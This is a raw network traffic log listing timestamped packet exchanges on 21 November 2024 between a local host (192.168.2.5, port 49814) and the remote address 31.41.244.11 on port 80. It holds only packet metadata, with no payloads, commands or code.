Nov 21, 2024 03:09:15.814842939 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.815531015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.815587044 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.815649986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.815702915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.816344023 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.816399097 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.816478968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.816530943 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.817150116 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.817200899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.817280054 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.817332983 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.818006039 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.818058968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.818124056 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.818173885 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.818855047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.818916082 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.818964958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.819015980 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.819689989 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.819741011 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.819809914 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.819859028 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.820503950 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.820574999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.820624113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.820677042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.821357965 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.821408033 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.821471930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.821521997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.822185040 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.822241068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.822354078 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.822408915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.823013067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.823065042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.823112011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.823163986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.823863983 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.823915958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.823966980 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.824013948 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.824680090 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.824748039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.824803114 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.824857950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.825553894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.825609922 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.825702906 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.825753927 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.826380968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.826431990 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.826505899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.826565027 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.827200890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.827254057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.827306032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.827361107 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.828036070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.828085899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.828150034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.828196049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.828866959 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.828913927 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.828989029 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.829037905 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.829705000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.829756975 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.829837084 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.829888105 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.830547094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.830598116 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.830679893 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.830730915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.831373930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.831424952 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.831490040 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.831540108 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.832392931 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.832442999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.832467079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.832523108 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.833055019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.833106995 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.833169937 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.833220959 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.833880901 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.833934069 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.833997011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.834049940 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.834801912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.834875107 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.834912062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.834963083 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.835546017 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.835602045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.835659027 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.835705042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.836347103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.836399078 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.836467981 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.836518049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.837196112 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.837249041 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.837315083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.837367058 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.838037968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.838088989 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.838152885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.838202953 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.838851929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.838907957 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.838968992 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.839015961 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.839705944 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.839754105 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.839824915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.839875937 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.840529919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.840580940 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.840652943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.840707064 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.841382980 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.841434956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.841475010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.841523886 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.842201948 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.842256069 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.842334986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.842386007 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.843030930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.843080997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.843143940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.843192101 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.843897104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.843950033 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.844011068 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.844059944 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.844691992 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.844741106 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.844819069 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.844886065 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.845529079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.845639944 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.845679045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.845726013 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.846390009 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.846441984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.846504927 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.846555948 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.847224951 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.847260952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.847279072 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.847306967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.848052025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.848109961 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.848172903 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.848225117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.848880053 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.848931074 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.848967075 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.849013090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.849699974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.849754095 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.849833965 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.849888086 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.850544930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.850593090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.850672960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.850724936 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.851375103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.851424932 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.851495028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.851543903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.852205038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.852255106 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.852317095 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.852365971 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.853044987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.853096008 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.853162050 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.853214025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.853884935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.853934050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.853997946 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.854048967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.854717970 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.854769945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.854836941 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.854904890 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.855851889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.855902910 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.855904102 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.855957031 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.856082916 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.856132030 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.856199026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.856250048 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.856920958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.856971025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.857036114 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.857076883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.857755899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.857805014 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:15.857858896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:15.857908964 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.016046047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.016206026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.016284943 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.016478062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.016516924 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.016546965 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.016566992 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.017218113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.017262936 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.017556906 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.017604113 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.018130064 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.018296003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.018321037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.018338919 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.019027948 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.019062042 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.019088984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.019099951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.019938946 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.019974947 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.019998074 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.020024061 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.020550013 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.020600080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.020849943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.020912886 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.021421909 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.021456957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.021471977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.021505117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.022267103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.022424936 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.022475958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.023207903 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.023243904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.023274899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.023302078 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.023998022 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.024135113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.024188042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.024847984 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.024899960 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.024979115 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.025036097 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.025681973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.025716066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.025743008 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.025757074 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.026364088 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.026427984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.026648998 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.026702881 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.027426958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.027479887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.027568102 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.027620077 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.027983904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.028033972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.028038025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.028090000 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.028609037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.028688908 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.028944969 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.029006004 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.030313015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.030514956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.030569077 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.030982018 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.031033993 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.031439066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.031624079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.031678915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.031682968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.031724930 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.032170057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.032203913 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.032221079 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.032248974 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.032782078 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.032834053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.032881021 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.032932997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.033577919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.033627987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.033693075 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.033744097 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.036456108 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.036547899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.036782026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.036837101 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.037153959 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.037188053 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.037206888 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.037225008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.037234068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.037270069 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.037341118 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.037377119 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.037388086 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.037421942 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.037564039 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.037616968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.038137913 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.038172007 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.038188934 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.038214922 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.039187908 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.039244890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.039309978 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.040015936 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.040071011 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.040155888 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.040204048 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.040306091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.040345907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.040354967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.040393114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.041112900 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.041162968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.041213036 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.041260958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.042323112 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.042411089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.042603970 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.042654037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.044289112 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.044322968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.044341087 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.044370890 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.044487953 CET	80	49814	31.41.244.11	192.168.2.5
